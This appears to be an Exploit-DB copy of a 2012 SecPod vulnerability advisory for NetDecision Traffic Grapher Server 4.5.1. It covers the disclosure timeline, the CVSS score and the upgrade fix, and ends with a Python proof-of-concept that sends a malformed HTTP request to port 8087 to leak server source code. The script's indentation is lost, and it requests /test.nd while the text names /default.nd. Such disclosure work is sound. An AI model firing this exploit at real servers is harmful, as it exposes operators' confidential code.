Netmechanica NetDecision Traffic Grapher Server – Information Disclosure

  • 作者: SecPod Research
    日期: 2012-02-29
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/18542/
  • ##############################################################################
    #
    # Title: Netmechanica NetDecision Traffic Grapher Server Information 
    #Disclosure Vulnerability
    # Author : Prabhu S Angadi SecPod Technologies (www.secpod.com)
    # Vendor : http://www.netmechanica.com
    # Advisory : http://secpod.org/blog/?p=481
    #http://secpod.org/advisories/SecPod_Netmechanica_NetDecision_Traffic_Grapher_Server_SourceCode_Disc_Vuln.txt
    #	 http://secpod.org/exploits/SecPod_Netmechanica_NetDecision_Traffic_Grapher_Server_SourceCode_Disc_PoC.py
    # Software : Netmechanica NetDecision Traffic Grapher Server version 4.5.1
    # Date : 06/12/2011
    #
    ###############################################################################
    
    SecPod ID: 1039 				05/12/2011 Issue Discovered
    						21/02/2012 Vendor Notified
    						22/02/2012 Vendor Acknowledge
    						24/02/2012 Issue Resolved
    
    
    Class: Information Disclosure			Severity: High
    
    
    Overview:
    ---------
    Netmechanica NetDecision Traffic Grapher Server version 4.5.1 is prone to
    source code information disclosure vulnerability.
    
    
    Technical Description:
    ----------------------
    The vulnerability is caused due to improper validation of malicious HTTP 
    GET request to Traffic Grapher Server 'default.nd' with invalid HTTP version 
    number followed by multiple 'CRLF', which discloses the source code of 
    'default.nd'
    
    
    Impact:
    --------
    Successful exploitation could allow an attacker to cause disclosure of
    sensitive information.
    
    
    Affected Software:
    ------------------
    NetDecision 4.5.1 (full package) Traffic Grapher Server version 4.5.1
    
    
    Tested on:
    -----------
    NetDecision 4.5.1 (full package) Traffic Grapher Server version 4.5.1
    on Windows XP SP3 & Win XP2. 
    Older versions might be affected.
    
    
    References:
    -----------
    http://secpod.org/blog/?p=481
    http://www.netmechanica.com/downloads
    http://www.netmechanica.com/news/?news_id=26
    
    
    Proof of Concept:
    ----------------
    http://secpod.org/exploits/SecPod_Netmechanica_NetDecision_Traffic_Grapher_Server_SourceCode_Disc_PoC.py
    
    
    Vendor URL:
    ----------------
    http://www.netmechanica.com
    http://www.netmechanica.com/news/?news_id=26
    
    
    Solution:
    ----------
    Upgrade to NetDecision 4.6.1
    
    
    Risk Factor:
    -------------
    CVSS Score Report:
    ACCESS_VECTOR= NETWORK
    ACCESS_COMPLEXITY= LOW
    AUTHENTICATION = NOT_REQUIRED
    CONFIDENTIALITY_IMPACT = COMPLETE
    INTEGRITY_IMPACT = NONE
    AVAILABILITY_IMPACT= NONE
    EXPLOITABILITY = PROOF_OF_CONCEPT
    REMEDIATION_LEVEL= UNAVAILABLE
    REPORT_CONFIDENCE= CONFIRMED
    CVSS Base Score= 8 (AV:N/AC:L/Au:N/C:C/I:N/A:N)
    Risk factor= High
    
    
    Credits:
    --------
    Prabhu S Angadi of SecPod Technologies has been credited with the discovery of this
    vulnerability.
    
    
    #!/usr/bin/python
    ##############################################################################
    #
    # Title: Netmechanica NetDecision Traffic Grapher Server Information 
    #DisclosureVulnerability
    # Author : Prabhu S Angadi SecPod Technologies (www.secpod.com)
    # Vendor : http://www.netmechanica.com
    # Advisory : http://secpod.org/blog/?p=481
    #http://secpod.org/advisories/SecPod_Netmechanica_NetDecision_Traffic_Grapher_Server_SourceCode_Disc_Vuln.txt
    #	 http://secpod.org/exploits/SecPod_Netmechanica_NetDecision_Traffic_Grapher_Server_SourceCode_Disc_PoC.py
    # Software : Netmechanica NetDecision Traffic Grapher Server version 4.5.1
    # Date : 06/12/2011
    #
    ###############################################################################
    
    import socket,sys,time
    
    
    if len(sys.argv) < 2:
    print "\t[-] Usage: python SecPod_Exploit_Netmechanica_NetDecision_Traffic_Grapher_Server_SourceCode_Disc.py target_ip"
    print "\t[-] Example : python SecPod_Exploit_Netmechanica_NetDecision_Traffic_Grapher_Server_SourceCode_Disc.py 127.0.0.1"
    print "\t[-] Exiting..."
    sys.exit(0)
    
    port = 8087
    target = sys.argv[1]
    
    try:
    socket.inet_aton(target)
    except socket.error:
    print "Invalid IP address found ..."
    sys.exit(1)
    
    try:
    sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    sock.connect((target,port))
    time.sleep(1)
    except:
    print "socket() failed"
    sys.exit(1)
    
    exploit = "GET " + "/test.nd" + " HTTP/-1111111"+"\r\n\r\n"
    
    print "HTTP GET request for /default.nd with invalid HTTP version triggers"+\
     " the vulnerability"
    
    data = exploit
    sock.sendto(data, (target, port))
    
    for i in range(1,10):
    sock.sendto("\r\n",(target, port))
    time.sleep(1)
    
    time.sleep(10)
    res = sock.recv(10000)
    sock.close()
    print "[+] Source Code of Netdecision Traffice Grapher Server : \r\n"
    print res
    sys.exit(1)